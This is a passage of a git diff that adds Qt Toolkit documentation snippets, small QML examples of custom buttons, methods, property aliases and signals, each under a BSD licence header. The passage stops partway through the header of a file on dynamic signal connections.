+++ b/doc/src/snippets/declarative/qml-extending-types/components/Button.qml
@@ -0,0 +1,53 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// Button.qml
+import QtQuick 1.0
+
+Rectangle {
+ width: 100; height: 100
+ color: "red"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: console.log("Button clicked!")
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/components/application.qml b/doc/src/snippets/declarative/qml-extending-types/components/application.qml
new file mode 100644
index 00000000..07feb27b
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/components/application.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// application.qml
+import QtQuick 1.0
+
+Column {
+ Button { width: 50; height: 50 }
+ Button { x: 50; width: 100; height: 50; color: "blue" }
+ Button { width: 50; height: 50; radius: 8 }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/methods/app.qml b/doc/src/snippets/declarative/qml-extending-types/methods/app.qml
new file mode 100644
index 00000000..6923ed62
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/methods/app.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+//![0]
+Rectangle {
+ id: rect
+ width: 100; height: 100
+
+ function say(text) {
+ console.log("You said: " + text);
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.say("Mouse clicked")
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/properties/ImageViewer.qml b/doc/src/snippets/declarative/qml-extending-types/properties/ImageViewer.qml
new file mode 100644
index 00000000..a732d8ec
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/properties/ImageViewer.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// ImageViewer.qml
+import QtQuick 1.0
+
+Item {
+ id: item
+ width: 200; height: 200
+
+ property string currentImage: "default-image.png"
+
+ Image { source: item.currentImage }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/properties/alias-override.qml b/doc/src/snippets/declarative/qml-extending-types/properties/alias-override.qml
new file mode 100644
index 00000000..7bde396b
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/properties/alias-override.qml
@@ -0,0 +1,48 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+//![0]
+Rectangle {
+ property alias color: childRect.color
+ color: "red"
+
+ Rectangle { id: childRect }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/properties/alias.qml b/doc/src/snippets/declarative/qml-extending-types/properties/alias.qml
new file mode 100644
index 00000000..e7ac73ec
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/properties/alias.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// Button.qml
+import QtQuick 1.0
+
+Item {
+ property alias buttonText: textItem.text
+
+ width: 200; height: 50
+
+ Text { id: textItem }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/properties/alias/ImageViewer.qml b/doc/src/snippets/declarative/qml-extending-types/properties/alias/ImageViewer.qml
new file mode 100644
index 00000000..64585355
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/properties/alias/ImageViewer.qml
@@ -0,0 +1,52 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// ImageViewer.qml
+import QtQuick 1.0
+
+Item {
+ id: item
+ width: 200; height: 200
+
+ property alias currentImage: image
+
+ Image { id: image }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/properties/alias/application.qml b/doc/src/snippets/declarative/qml-extending-types/properties/alias/application.qml
new file mode 100644
index 00000000..023051c9
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/properties/alias/application.qml
@@ -0,0 +1,54 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// application.qml
+import QtQuick 1.0
+
+ImageViewer {
+ id: viewer
+
+ currentImage.source: "http://qt.nokia.com/logo.png"
+ currentImage.width: width
+ currentImage.height: height
+ currentImage.fillMode: Image.Tile
+
+ Text { text: currentImage.source }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/properties/application.qml b/doc/src/snippets/declarative/qml-extending-types/properties/application.qml
new file mode 100644
index 00000000..cc11dd3a
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/properties/application.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+import QtQuick 1.0
+
+ImageViewer {
+ id: viewer
+
+ currentImage: "http://qt.nokia.com/logo.png"
+
+ Text { text: viewer.currentImage }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/properties/property-signals.qml b/doc/src/snippets/declarative/qml-extending-types/properties/property-signals.qml
new file mode 100644
index 00000000..bf76d1c7
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/properties/property-signals.qml
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+//![0]
+Item {
+ property int myNumber
+
+ onMyNumberChanged: { console.log("myNumber has changed:", myNumber); }
+
+ Component.onCompleted: myNumber = 100
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/signals/Button.qml b/doc/src/snippets/declarative/qml-extending-types/signals/Button.qml
new file mode 100644
index 00000000..19d5130f
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/signals/Button.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import QtQuick 1.0
+
+//![0]
+// Button.qml
+Rectangle {
+ id: rect
+ width: 100; height: 100
+
+ signal buttonClicked(int xPos, int yPos)
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.buttonClicked(mouse.x, mouse.y)
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/signals/basic.qml b/doc/src/snippets/declarative/qml-extending-types/signals/basic.qml
new file mode 100644
index 00000000..fd4cd043
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/signals/basic.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// Button.qml
+import QtQuick 1.0
+
+Rectangle {
+ id: rect
+ width: 100; height: 100
+
+ signal buttonClicked
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: rect.buttonClicked()
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qml-extending-types/signals/connectdynamic.qml b/doc/src/snippets/declarative/qml-extending-types/signals/connectdynamic.qml
new file mode 100644
index 00000000..77acb785
--- /dev/null
+++ b/doc/src/snippets/declarative/qml-extending-types/signals/connectdynamic.qml
@@ -0,0 +1,61 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
